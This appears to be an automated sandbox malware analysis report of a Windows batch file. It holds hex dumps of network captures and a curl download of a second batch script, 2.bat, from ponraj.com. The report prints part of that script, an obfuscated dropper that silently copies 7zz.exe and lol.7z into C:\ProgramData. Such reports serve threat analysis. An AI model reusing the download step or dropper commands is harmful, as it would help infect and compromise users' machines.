68 89 45 f8 e8 83 fe ff ff 01 45 f8 8b cf ff 75 f8 e8 e5 fb ff ff ff b6 80 00 Data Ascii: F@PFAP}Et<-sE-uFPfFPfFPvv}tFP~}tFSPgv$:]EEEK#$NhEEu
2023-07-18 15:37:08 UTC	2524	IN	Data Raw: 4e 24 c7 44 24 78 ff ff ff ff e8 6b 32 ff ff 8d 4e 4c e8 63 32 ff ff 8d 4e 74 e8 5b 32 ff ff 8b 86 b4 00 00 00 85 c0 74 10 8b 10 50 ff 52 08 c7 86 b4 00 00 00 00 00 00 00 8b c7 e9 c9 00 00 00 8b 44 24 14 c6 44 24 78 00 85 c0 74 06 8b 08 50 ff 51 08 8b 74 24 10 c7 44 24 78 ff ff ff ff 8d 4e 24 e8 13 32 ff ff 8d 4e 4c e8 0b 32 ff ff 8b 46 74 33 db 3b c3 74 09 8b 10 50 ff 52 08 89 5e 74 8b 86 b4 00 00 00 3b c3 74 0c 8b 08 50 ff 51 08 89 9e b4 00 00 00 8b c7 eb 6e 8b 44 24 14 c6 44 24 78 00 3b c3 74 06 8b 10 50 ff 52 08 8b 74 24 10 c7 44 24 78 ff ff ff ff 8b 46 24 3b c3 74 09 8b 08 50 ff 51 08 89 5e 24 8b 46 4c 3b c3 74 09 8b 10 50 ff 52 08 89 5e 4c 8b 46 74 3b c3 74 09 8b 08 50 ff 51 08 89 5e 74 8b 86 b4 00 00 00 3b c3 74 a3 8b 10 50 ff 52 08 89 9e b4 00 00 Data Ascii: N$D$xk2NLc2Nt[2tPRD$D$xtPQt$D$xN$2NL2Ft3;tPR^t;tPQnD$D$x;tPRt$D$xF$;tPQ^$FL;tPR^LFt;tPQ^t;tPR
2023-07-18 15:37:08 UTC	2540	IN	Data Raw: 9c 70 02 00 00 8b 2a 83 c2 04 03 cd 46 3b c8 72 f4 8d 6e ff 3b eb 7e 20 3b 7c 24 18 74 1a 83 ff 01 74 15 8b 54 24 10 83 e2 01 80 fa 01 75 09 8b f5 2b 8c b4 70 02 00 00 8b 6c 24 24 33 c0 3b c3 7c 08 3b c6 7d 04 33 d2 eb 05 ba 01 00 00 00 88 14 28 8b 54 24 38 40 3b c2 7c e3 8b 44 24 1c 8b de 8b 74 24 10 2b c1 4f 46 81 ed 02 01 00 00 89 44 24 1c 85 ff 89 74 24 10 89 6c 24 24 0f 85 6f ff ff ff 8b 6c 24 54 c7 44 24 28 04 00 00 00 8b 5c 24 18 33 d2 8d b5 20 06 00 00 33 c0 8b fe 42 b9 02 01 00 00 81 c6 08 04 00 00 3b d3 f3 ab 7c ea 33 c9 8d 85 80 36 00 00 89 4c 24 34 89 44 24 1c 8b 54 24 3c 33 ff 8d 74 24 70 33 c0 8a 04 11 41 3d ff 00 00 00 72 08 33 db 8a 1c 11 03 c3 41 89 06 47 83 c6 04 83 ff 32 7d 06 3b 4c 24 20 72 da 89 4c 24 30 c7 44 24 24 ff ff ff ff c7 44 Data Ascii: p*F;rn;~ ;\|$ttT$u+pl$$3;\|;}3(T$8@;\|D$t$+OFD$t$l$$ol$TD$(\$3 3B;\|36L$4D$T$<3t$p3A=r3AG2};L$ rL$0D$$D
2023-07-18 15:37:08 UTC	2556	IN	Data Raw: 8b c2 89 56 04 3b c1 75 07 8b ce e8 bb 24 fc ff 8b 4e 28 c7 46 28 08 00 00 00 d3 eb 85 ff c6 46 2c 00 77 b0 e9 78 02 00 00 25 ff ff 00 00 33 d2 33 c9 89 44 24 14 8a 90 f0 13 49 00 8d b5 70 04 00 00 89 54 24 1c 8a 8c 2a 3d 08 00 00 8b 9c 95 80 11 00 00 8b f9 85 ff 76 7d 8b 46 28 3b f8 72 4b b9 08 00 00 00 2b f8 2b c8 8a c3 8b 2e d2 e0 8a 4e 2c 0a c1 8b 4e 04 88 04 29 8b 6e 04 8b 4e 08 45 8b c5 89 6e 04 3b c1 75 0b 8b ce e8 39 24 fc ff 8b 54 24 1c 8b 4e 28 c7 46 28 08 00 00 00 d3 eb 85 ff c6 46 2c 00 77 b0 eb 23 8b 6e 28 b0 01 8b cf d2 e0 b9 08 00 00 00 2b cd fe c8 22 c3 d2 e0 8a 4e 2c 0a c8 2b ef 88 4e 2c 89 6e 28 8b 44 24 14 8b 6c 24 10 8b 8d e0 04 00 00 33 db 8a 1c 11 8b 8d dc 04 00 00 8b fb 33 db 8a 1c 11 2b c3 85 ff 8b d8 76 71 8b 46 28 3b f8 72 47 b9 Data Ascii: V;u$N(F(F,wx%33D$IpT$*=v}F(;rK++.N,N)nNEn;u9$T$N(F(F,w#n(+"N,+N,n(D$l$33+vqF(;rG
2023-07-18 15:37:08 UTC	2572	IN	Data Raw: 00 00 00 00 5e c3 90 90 90 90 90 90 90 90 56 8b 74 24 08 8d 4e 30 e8 94 e4 fb ff 85 c0 75 0b 8b 8e ac 1c 00 00 e8 c4 fc ff ff 5e c2 04 00 51 8b 41 2c 56 8d 71 08 8b 54 24 0c b9 0f 00 00 00 57 8b 7e 20 2b c8 d3 ef b9 11 00 00 00 03 c2 2b ca 89 46 24 81 e7 ff ff 01 00 d3 ef 83 f8 10 72 72 8b 06 8b 4e 04 3b c1 72 0d 8b ce e8 0e d5 fb ff 88 44 24 08 eb 09 8a 08 40 88 4c 24 08 89 06 8b 06 8b 4e 04 3b c1 72 0d 8b ce e8 ef d4 fb ff 88 44 24 10 eb 09 8a 10 40 88 54 24 10 89 06 8b 46 20 8b 4c 24 10 8b 54 24 08 81 e1 ff 00 00 00 c1 e0 08 0b c1 8b 4e 24 c1 e0 08 81 e2 ff 00 00 00 83 c1 f0 0b c2 89 4e 24 89 46 20 8b c1 83 f8 10 73 8e 8b c7 5f 5e 59 c2 04 00 90 90 90 90 81 ec b4 00 00 00 53 55 56 33 db 57 8b e9 33 f6 6a 04 8b cd e8 37 ff ff ff 88 44 34 28 46 83 fe 14 Data Ascii: ^Vt$N0u^QA,VqT$W~ ++F$rrN;rD$@L$N;rD$@T$F L$T$N$N$F s_^YSUV3W3j7D4(F
2023-07-18 15:37:08 UTC	2588	IN	Data Raw: 90 b1 47 00 c7 41 04 80 b1 47 00 e9 ae ff ff ff 90 90 90 90 90 90 90 90 90 90 90 90 90 90 6a ff 68 9e 9b 47 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 81 ec 94 00 00 00 53 55 8b e9 56 57 8d 4c 24 1c e8 48 94 fb ff 33 ff 89 bc 24 ac 00 00 00 89 7c 24 40 89 7c 24 44 89 7c 24 54 89 7c 24 60 68 00 00 10 00 8d 4c 24 20 c6 84 24 b0 00 00 00 01 e8 2c 94 fb ff 84 c0 75 62 8d 4c 24 40 c6 84 24 ac 00 00 00 02 e8 34 a3 fb ff 8b 44 24 54 c6 84 24 ac 00 00 00 00 3b c7 74 06 8b 08 50 ff 51 08 8d 4c 24 1c c7 84 24 ac 00 00 00 03 00 00 00 e8 2b 94 fb ff 8b 44 24 28 c7 84 24 ac 00 00 00 ff ff ff ff 3b c7 0f 84 90 00 00 00 8b 10 50 ff 52 08 b8 0e 00 07 80 e9 26 06 00 00 8b 84 24 b4 00 00 00 8d 4c 24 1c 50 e8 04 94 fb ff 8d 4c 24 1c e8 0a 94 fb ff 68 00 00 10 00 8d 4c 24 Data Ascii: GAGjhGdPd%SUVWL$H3$\|$@\|$D\|$T\|$`hL$ $,ubL$@$4D$T$;tPQL$$+D$($;PR&$L$PL$hL$
2023-07-18 15:37:08 UTC	2604	IN	Data Raw: ff ff 5f 5e 5b 83 f9 03 76 11 8b 54 24 18 33 c0 89 02 8b c5 5d 83 c4 0c c2 0c 00 8b 54 24 18 49 d3 e0 83 e0 07 89 02 8b c5 5d 83 c4 0c c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 2c 83 fa 10 73 08 33 c0 83 c4 2c c2 08 00 8b 44 24 30 53 55 83 ea 10 56 2b c1 57 89 54 24 28 c7 44 24 10 00 00 00 00 8b f9 89 44 24 24 90 0f b6 07 83 e0 1f 0f b6 88 bc c5 47 00 b8 05 00 00 00 33 f6 89 4c 24 20 89 44 24 1c 89 74 24 18 8b 54 24 20 8b ce d3 ea f6 c2 01 0f 84 84 01 00 00 8b f0 8b c8 c1 ee 03 0f b6 44 37 05 99 0f a4 c2 08 c1 e0 08 8b d8 0f b6 44 37 04 8b ea 99 83 e1 07 03 d8 0f b6 44 37 03 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 44 37 02 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 44 37 01 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 04 37 13 ea 0f a4 dd 08 Data Ascii: _^[vT$3]T$I],s3,D$0SUV+WT$(D$D$$G3L$ D$t$T$ D7D7D7D7D77
2023-07-18 15:37:08 UTC	2620	IN	Data Raw: 75 08 8b d1 c7 02 02 00 00 00 83 7e 78 08 0f 85 da fd ff ff e9 5f fd ff ff bd 01 00 00 00 e9 61 fd ff ff 8b 44 24 48 c7 00 02 00 00 00 e9 50 fd ff ff 8b 4c 24 48 c7 01 03 00 00 00 e9 41 fd ff ff 8b 54 24 48 c7 02 03 00 00 00 e9 32 fd ff ff 8b e8 e9 2d fd ff ff 5f 5e 8b c5 5d 5b 83 c4 24 c2 14 00 5f 5e 5d 33 c0 5b 83 c4 24 c2 14 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 08 8b 4c 24 10 8b 01 53 33 db 39 5f 18 55 8b 6c 24 14 0f 95 c3 89 44 24 0c c7 44 24 14 00 00 20 00 c7 01 00 00 00 00 83 c3 05 3b c3 73 0d 5d b8 07 00 00 00 5b 83 c4 08 c2 0c 00 8b 0f 2b c3 89 44 24 08 e8 a6 25 00 00 8b 57 14 8d 44 24 14 50 68 00 00 01 00 8d 4c 24 10 51 8b 0f 03 dd 53 e8 6a 62 00 00 8b 54 24 14 85 d2 0f 84 9f 01 00 00 56 85 c0 75 2c 8b 74 24 0c 8d 46 02 3b c2 73 Data Ascii: u~x_aD$HPL$HAT$H2-_^][$_^]3[$L$S39_Ul$D$D$ ;s][+D$%WD$PhL$QSjbT$Vu,t$F;s
2023-07-18 15:37:08 UTC	2636	IN	Data Raw: 0f b6 8c 24 80 00 00 00 57 8d bd a0 0e 03 00 e8 da f0 ff ff eb 50 0f b6 84 24 80 00 00 00 c7 44 24 34 00 00 00 00 0d 00 01 00 00 8d 49 00 8b c8 c1 e9 08 0f b7 14 4f 8b c8 c1 e9 07 83 e1 01 f7 d9 c1 f9 04 83 e1 7f c1 ea 04 33 d1 8b 4c 24 34 03 8c 95 a0 0e 03 00 03 c0 89 4c 24 34 3d 00 00 01 00 72 ca 8b c1 8b 54 24 2c 03 d0 89 54 24 2c 3b 93 d0 06 00 00 73 2c 89 93 d0 06 00 00 8b 54 24 14 89 93 e8 06 00 00 c7 83 ec 06 00 00 ff ff ff ff c7 83 d8 06 00 00 00 00 00 00 c7 44 24 28 01 00 00 00 8b 4c 24 40 0f b7 84 4d b0 25 03 00 0f b7 94 75 30 27 03 00 35 f0 07 00 00 c1 e8 04 8b 84 85 a0 0e 03 00 03 44 24 24 81 f2 f0 07 00 00 c1 ea 04 8b bc 95 a0 0e 03 00 8b 54 24 14 03 f8 89 44 24 58 8a 84 24 80 00 00 00 89 7c 24 48 38 44 24 13 75 61 39 93 e8 06 00 00 73 09 83 Data Ascii: $WP$D$4IO3L$4L$4=rT$,T$,;s,T$D$(L$@M%u0'5D$$T$D$X$\|$H8D$ua9s
2023-07-18 15:37:08 UTC	2652	IN	Data Raw: 24 14 8a 48 02 80 f9 07 73 14 fe 48 03 75 0f 66 d1 20 b2 03 d2 e2 fe c1 88 48 02 88 50 03 89 7e 08 8a 1f 8b ce e8 14 fb ff ff 5f 5e 5d 0f b6 c3 5b 81 c4 0c 05 00 00 c3 5f 5e 5d b8 fe ff ff ff 5b 81 c4 0c 05 00 00 c3 cc cc cc cc cc cc 33 c0 89 01 89 41 04 c7 41 08 ff ff ff ff 88 41 0c c7 41 10 01 00 00 00 89 41 14 c3 cc cc cc cc 8b 46 08 33 d2 f7 74 24 0c 53 bb 00 00 00 00 8b c8 0f af 4c 24 08 01 0e 11 5e 04 0f af 44 24 0c 89 46 08 3d 00 00 00 01 73 78 55 57 83 cd ff 90 8b 3e c1 66 08 08 81 ff 00 00 00 ff 72 10 8b 56 04 8b c7 b1 20 e8 36 67 00 00 85 c0 74 3a 8a 5e 0c 8b 06 8b 56 04 8b 7e 18 b1 20 e8 20 67 00 00 8b ca 8d 14 03 8b 07 8b cf ff d0 80 cb ff 01 6e 10 8b 46 10 11 6e 14 0b 46 14 75 d5 8b 3e 8b cf c1 e9 18 88 4e 0c 33 db 83 46 10 01 89 5e 04 11 5e Data Ascii: $HsHuf HP~_^][_^][3AAAAAF3t$SL$^D$F=sxUW>frV 6gt:^V~ gnFnFu>N3F^^
2023-07-18 15:37:08 UTC	2668	IN	Data Raw: 89 51 58 89 41 5c 89 41 60 89 81 a8 00 00 00 89 81 bc 00 00 00 89 81 d0 00 00 00 89 81 e4 00 00 00 89 01 89 41 04 89 41 48 89 41 4c c3 cc 83 c1 58 e9 98 f9 ff ff cc cc cc cc cc cc cc cc 83 ec 58 8b 44 24 5c 53 8b 5c 24 68 55 8b 6c 24 68 56 57 89 54 24 10 8b 13 8b f9 8b 08 c7 00 00 00 00 00 8b 44 24 7c c7 03 00 00 00 00 89 4c 24 1c 89 54 24 18 c7 00 00 00 00 00 eb 03 8d 49 00 8b 0b 8b 74 24 18 8b 07 2b f1 89 74 24 74 83 f8 06 0f 85 17 01 00 00 8b 44 24 1c 8b 4c 24 6c 2b 01 89 74 24 70 89 44 24 74 85 f6 75 08 85 c0 0f 84 91 05 00 00 8b 54 24 7c 8b 44 24 78 52 50 6a 00 8d 4c 24 7c 51 55 8d 94 24 88 00 00 00 52 8b 54 24 28 8d 4f 58 e8 d5 f9 ff ff 8b 74 24 74 8b 54 24 10 56 8d 8f 90 01 00 00 89 44 24 18 e8 ad f1 ff ff 8b 44 24 70 01 03 8b 4c 24 6c 03 e8 01 47 Data Ascii: QXA\A`AAHALXXD$\S\$hUl$hVWT$D$\|L$T$It$+t$tD$L$l+t$pD$tuT$\|D$xRPjL$\|QU$RT$(OXt$tT$VD$D$pL$lG
2023-07-18 15:37:08 UTC	2684	IN	Data Raw: 0f 83 e6 f0 eb 03 6a 10 5e 89 75 0c 89 7d dc 83 fe e0 0f 87 f3 00 00 00 6a 09 e8 59 1a 00 00 59 c7 45 fc 01 00 00 00 8d 45 d4 50 8d 45 c8 50 53 e8 3f 2d 00 00 83 c4 0c 8b f8 89 7d d0 85 ff 0f 84 aa 00 00 00 3b 35 5c 01 49 00 73 5c 8b de c1 eb 04 53 57 ff 75 d4 ff 75 c8 e8 dd 30 00 00 83 c4 10 85 c0 74 08 8b 45 08 89 45 dc eb 38 53 e8 9c 2d 00 00 59 89 45 dc 85 c0 74 2a 0f b6 07 c1 e0 04 89 45 cc 3b c6 72 02 8b c6 50 ff 75 08 ff 75 dc e8 37 fa ff ff 57 ff 75 d4 ff 75 c8 e8 28 2d 00 00 83 c4 18 8b 5d 08 83 7d dc 00 75 53 56 6a 00 ff 35 80 65 49 00 ff 15 8c a1 47 00 89 45 dc 85 c0 74 3d 0f b6 07 c1 e0 04 89 45 cc 3b c6 72 02 8b c6 50 53 ff 75 dc e8 f0 f9 ff ff 57 ff 75 d4 ff 75 c8 e8 e1 2c 00 00 83 c4 18 eb 13 56 53 6a 00 ff 35 80 65 49 00 ff 15 94 a1 47 00 Data Ascii: j^u}jYYEEPEPS?-};5\Is\SWuu0tEE8S-YEt*E;rPuu7Wuu(-]}uSVj5eIGEt=E;rPSuWuu,VSj5eIG
2023-07-18 15:37:08 UTC	2700	IN	Data Raw: d5 8b f0 3b f3 74 0c c7 05 40 38 49 00 01 00 00 00 eb 28 ff 15 f0 a1 47 00 8b f8 3b fb 0f 84 ea 00 00 00 c7 05 40 38 49 00 02 00 00 00 e9 8f 00 00 00 83 f8 01 0f 85 81 00 00 00 3b f3 75 0c ff d5 8b f0 3b f3 0f 84 c2 00 00 00 66 39 1e 8b c6 74 0e 40 40 66 39 18 75 f9 40 40 66 39 18 75 f2 2b c6 8b 3d 44 a0 47 00 d1 f8 53 53 40 53 53 50 56 53 53 89 44 24 34 ff d7 8b e8 3b eb 74 32 55 e8 4e b4 ff ff 3b c3 59 89 44 24 10 74 23 53 53 55 50 ff 74 24 24 56 53 53 ff d7 85 c0 75 0e ff 74 24 10 e8 65 b5 ff ff 59 89 5c 24 10 8b 5c 24 10 56 ff 15 ec a1 47 00 8b c3 eb 53 83 f8 02 75 4c 3b fb 75 0c ff 15 f0 a1 47 00 8b f8 3b fb 74 3c 38 1f 8b c7 74 0a 40 38 18 75 fb 40 38 18 75 f6 2b c7 40 8b e8 55 e8 e7 b3 ff ff 8b f0 59 3b f3 75 04 33 f6 eb 0b 55 57 56 e8 cf b9 ff ff Data Ascii: ;t@8I(G;@8I;u;f9t@@f9u@@f9u+=DGSS@SSPVSSD$4;t2UN;YD$t#SSUPt$$VSSut$eY\$\$VGSuL;uG;t<8t@8u@8u+@UY;u3UWV
2023-07-18 15:37:08 UTC	2716	IN	Data Raw: f8 ff 8d 4d cc e9 91 cd f8 ff 8d 4d d8 e9 89 cd f8 ff 8d 4d c0 e9 81 cd f8 ff 8d 4d d8 e9 79 cd f8 ff 8d 4d c0 e9 71 cd f8 ff 8d 4d 94 e9 e7 39 fb ff 8d 4d 94 e9 df 39 fb ff 8d 4d bc e9 32 d9 f8 ff 8d 4d 94 e9 cf 39 fb ff b8 28 01 48 00 e9 02 6a ff ff cc cc 8d 4d e8 e9 3d cd f8 ff 8d 4d d0 e9 35 cd f8 ff 8d 4d dc e9 2d cd f8 ff b8 a8 01 48 00 e9 de 69 ff ff cc cc 8d 4d e0 e9 19 cd f8 ff b8 e0 01 48 00 e9 ca 69 ff ff cc cc 8d 4d e8 e9 05 cd f8 ff b8 08 02 48 00 e9 b6 69 ff ff cc cc 8d 4d e8 e9 f1 cc f8 ff b8 30 02 48 00 e9 a2 69 ff ff cc cc 8d 4d e0 e9 dd cc f8 ff b8 58 02 48 00 e9 8e 69 ff ff cc cc 8d 4d e0 e9 c9 cc f8 ff b8 80 02 48 00 e9 7a 69 ff ff cc cc 8d 4d e4 e9 b5 cc f8 ff 8d 4d cc e9 ad cc f8 ff 8d 4d d8 e9 a5 cc f8 ff b8 a8 02 48 00 e9 56 69 ff Data Ascii: MMMMyMqM9M9M2M9(HjM=M5M-HiMHiMHiM0HiMXHiMHziMMMHVi
2023-07-18 15:37:08 UTC	2732	IN	Data Raw: e9 96 8d f8 ff 8d 8d 34 ff ff ff e9 8b 8d f8 ff 8d 8d 1c ff ff ff e9 80 8d f8 ff 8d 8d 04 ff ff ff e9 75 8d f8 ff 8d 8d ec fe ff ff e9 6a 8d f8 ff b8 c8 66 48 00 e9 1b 2a ff ff cc cc cc 8b 4d f0 e9 d3 f9 fa ff b8 90 67 48 00 e9 06 2a ff ff cc cc ff 75 f0 e8 cc ee f8 ff 59 c3 b8 b8 67 48 00 e9 f0 29 ff ff 8d 4d d4 e9 f7 61 fc ff b8 e0 67 48 00 e9 de 29 ff ff cc cc b8 08 68 48 00 e9 d2 29 ff ff cc cc 8d 4d e0 e9 73 45 fc ff b8 98 68 48 00 e9 be 29 ff ff cc cc 8d 8d 58 ff ff ff e9 58 40 fc ff b8 c0 68 48 00 e9 a7 29 ff ff cc cc cc b8 20 69 48 00 e9 9a 29 ff ff cc cc 8d 4d d0 e9 9f 61 fc ff b8 78 69 48 00 e9 86 29 ff ff cc cc 8d 8d 58 ff ff ff e9 20 40 fc ff b8 a0 69 48 00 e9 6f 29 ff ff cc cc cc 8d 8d c4 fe ff ff e9 08 40 fc ff 8d 8d 5c ff ff ff e9 fd 3f fc Data Ascii: 4ujfHMgHuYgH)MagH)hH)MsEhH)XX@hH) iH)MaxiH)X @iHo)@\?
2023-07-18 15:37:08 UTC	2748	IN	Data Raw: 6f 70 75 70 00 00 47 65 74 41 63 74 69 76 65 57 69 6e 64 6f 77 00 4d 65 73 73 61 67 65 42 6f 78 41 00 75 73 65 72 33 32 2e 64 6c 6c 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 36 22 47 00 3a 22 47 00 ff ff ff ff ea 22 47 00 ee 22 47 00 ff ff ff ff 6e 24 47 00 72 24 47 00 48 3a 6d 6d 3a 73 73 00 64 64 64 64 2c 20 4d 4d 4d 4d 20 64 64 2c 20 79 79 79 79 00 4d 2f 64 2f 79 79 00 00 50 4d 00 00 41 4d 00 00 44 65 63 65 6d 62 65 72 00 00 00 00 4e 6f 76 65 6d 62 65 72 00 00 00 00 4f 63 74 6f 62 65 72 00 53 65 70 74 65 6d 62 65 72 00 00 00 41 75 67 75 73 74 00 00 4a 75 6c 79 00 00 00 00 4a 75 6e 65 00 00 00 00 41 70 72 69 6c 00 00 00 4d 61 72 63 68 00 00 00 46 65 62 72 75 61 72 79 00 00 00 00 4a 61 6e 75 61 72 79 00 44 65 63 00 4e 6f 76 00 4f 63 74 00 53 65 70 00 41 Data Ascii: opupGetActiveWindowMessageBoxAuser32.dll6"G:"G"G"Gn$Gr$GH:mm:ssdddd, MMMM dd, yyyyM/d/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepA
2023-07-18 15:37:08 UTC	2764	IN	Data Raw: 00 00 3a 53 47 00 06 00 00 00 44 53 47 00 0b 00 00 00 4c 53 47 00 0b 00 00 00 54 53 47 00 06 00 00 00 5c 53 47 00 06 00 00 00 66 53 47 00 0f 00 00 00 6e 53 47 00 10 00 00 00 76 53 47 00 06 00 00 00 7e 53 47 00 06 00 00 00 88 53 47 00 13 00 00 00 90 53 47 00 14 00 00 00 98 53 47 00 14 00 00 00 a2 53 47 00 20 05 93 19 02 00 00 00 78 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff b4 53 47 00 00 00 00 00 bf 53 47 00 20 05 93 19 02 00 00 00 a8 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff d4 53 47 00 ff ff ff ff df 53 47 00 20 05 93 19 01 00 00 00 d8 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff f4 53 47 00 20 05 93 19 01 00 00 00 00 0e 48 00 00 00 00 00 00 Data Ascii: :SGDSGLSGTSG\SGfSGnSGvSG~SGSGSGSGSG xHSGSG HSGSG HSG H
2023-07-18 15:37:08 UTC	2780	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 9c 7a 47 00 20 05 93 19 06 00 00 00 28 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff b0 7a 47 00 00 00 00 00 b8 7a 47 00 01 00 00 00 c3 7a 47 00 02 00 00 00 ce 7a 47 00 03 00 00 00 d9 7a 47 00 04 00 00 00 e4 7a 47 00 20 05 93 19 02 00 00 00 78 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff f8 7a 47 00 00 00 00 00 03 7b 47 00 20 05 93 19 01 00 00 00 a8 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 18 7b 47 00 20 05 93 19 04 00 00 00 d0 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 30 7b 47 00 00 00 00 00 38 7b 47 00 01 00 00 00 43 7b 47 00 02 00 00 00 4e 7b 47 00 20 Data Ascii: zG (MHzGzGzGzGzGzG xMHzG{G MH{G MH0{G8{GC{GN{G
2023-07-18 15:37:08 UTC	2796	IN	Data Raw: 6d 70 61 72 65 46 69 6c 65 54 69 6d 65 00 bc 00 46 69 6c 65 54 69 6d 65 54 6f 53 79 73 74 65 6d 54 69 6d 65 00 00 bb 01 47 65 74 53 79 73 74 65 6d 49 6e 66 6f 00 fa 01 47 6c 6f 62 61 6c 4d 65 6d 6f 72 79 53 74 61 74 75 73 00 00 77 01 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 00 00 88 00 44 6f 73 44 61 74 65 54 69 6d 65 54 6f 46 69 6c 65 54 69 6d 65 00 ba 00 46 69 6c 65 54 69 6d 65 54 6f 44 6f 73 44 61 74 65 54 69 6d 65 00 4e 03 53 79 73 74 65 6d 54 69 6d 65 54 6f 46 69 6c 65 54 69 6d 65 00 00 be 01 47 65 74 53 79 73 74 65 6d 54 69 6d 65 00 83 03 57 61 69 74 46 6f 72 4d 75 6c 74 69 70 6c 65 4f 62 6a 65 63 74 73 00 00 73 02 4f 70 65 6e 45 76 65 6e 74 41 00 00 65 03 55 6e 6d 61 70 56 69 65 77 4f 66 46 69 6c 65 00 5e 02 4d 61 70 56 69 65 77 4f 66 46 69 Data Ascii: mpareFileTimeFileTimeToSystemTimeGetSystemInfoGlobalMemoryStatuswGetModuleHandleADosDateTimeToFileTimeFileTimeToDosDateTimeNSystemTimeToFileTimeGetSystemTimeWaitForMultipleObjectssOpenEventAeUnmapViewOfFile^MapViewOfFi
2023-07-18 15:37:08 UTC	2812	IN	Data Raw: 00 00 00 00 00 00 42 00 43 00 4a 00 32 00 00 00 00 00 00 00 00 00 e0 58 44 00 60 59 44 00 03 01 03 03 00 00 00 00 28 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 42 00 43 00 4a 00 00 00 90 5b 44 00 c0 5b 44 00 05 02 03 03 00 00 00 00 fc d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 e0 5b 44 00 00 5c 44 00 01 04 03 03 00 00 00 00 f0 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 20 5c 44 00 40 5c 44 00 01 05 03 03 00 00 00 00 e8 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 60 5c 44 00 80 5c 44 00 01 07 03 03 00 00 00 00 dc d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 a0 5c 44 00 c0 5c 44 00 05 08 03 03 00 00 00 00 d0 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 53 00 50 00 41 00 52 00 43 00 00 00 41 00 52 00 4d 00 54 00 00 00 00 00 41 00 52 00 4d 00 00 00 49 Data Ascii: BCJ2XD`YD(HBCJ[D[DH[D\DH \D@\DH`\D\DH\D\DHSPARCARMTARMI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49722	188.127.225.160	443	C:\Windows\System32\curl.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-18 15:37:09 UTC	2826	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat HTTP/1.1 Host: ponraj.com User-Agent: curl/7.55.1 Accept: /
2023-07-18 15:37:09 UTC	2826	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 18 Jul 2023 15:37:09 GMT Content-Type: application/x-msdos-program Content-Length: 787 Connection: close Last-Modified: Mon, 17 Jul 2023 12:01:17 GMT ETag: "313-600ad8e59dc47" Accept-Ranges: bytes
2023-07-18 15:37:09 UTC	2826	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 0d 0a 3a 3a 20 33 5a 36 66 36 66 73 36 66 73 73 62 0d 0a 3a 3a 20 33 5a 36 66 73 36 66 73 62 0d 0a 0d 0a 73 65 74 20 22 66 64 61 61 3d 73 65 74 20 22 0d 0a 25 66 64 61 61 25 22 63 76 62 66 67 67 64 66 67 3d 43 3a 5c 50 72 6f 67 22 0d 0a 25 66 64 61 61 25 22 69 75 69 75 69 75 69 75 69 3d 72 61 6d 44 22 0d 0a 25 66 64 61 61 25 22 6a 68 67 67 66 67 3d 61 74 61 5c 22 0d 0a 0d 0a 0d 0a 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 78 63 6f 70 79 20 2f 68 20 2f 79 20 37 7a 7a 2e 65 78 65 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 20 26 26 20 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 78 63 6f 70 79 20 2f 68 20 2f 79 20 6c 6f 6c 2e 37 7a 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 20 26 26 20 73 74 61 72 74 20 2f 62 20 2f 6d Data Ascii: @echo off:: 3Z6f6fs6fssb:: 3Z6fs6fsbset "fdaa=set "%fdaa%"cvbfggdfg=C:\Prog"%fdaa%"iuiuiuiui=ramD"%fdaa%"jhggfg=ata\"start /b /min xcopy /h /y 7zz.exe C:\ProgramData\ && start /b /min xcopy /h /y lol.7z C:\ProgramData\ && start /b /m

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: cmd.exePID: 7076, Parent PID: 3324

General

Target ID:	0
Start time:	17:37:05
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\tUUPQygorhzFkIcHuB.bat" "
Imagebase:	0x7ff627730000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 7072, Parent PID: 7076

General

Target ID:	1
Start time:	17:37:05
Start date:	18/07/2023
Path:	C:\Windows\System32\conhost.exe
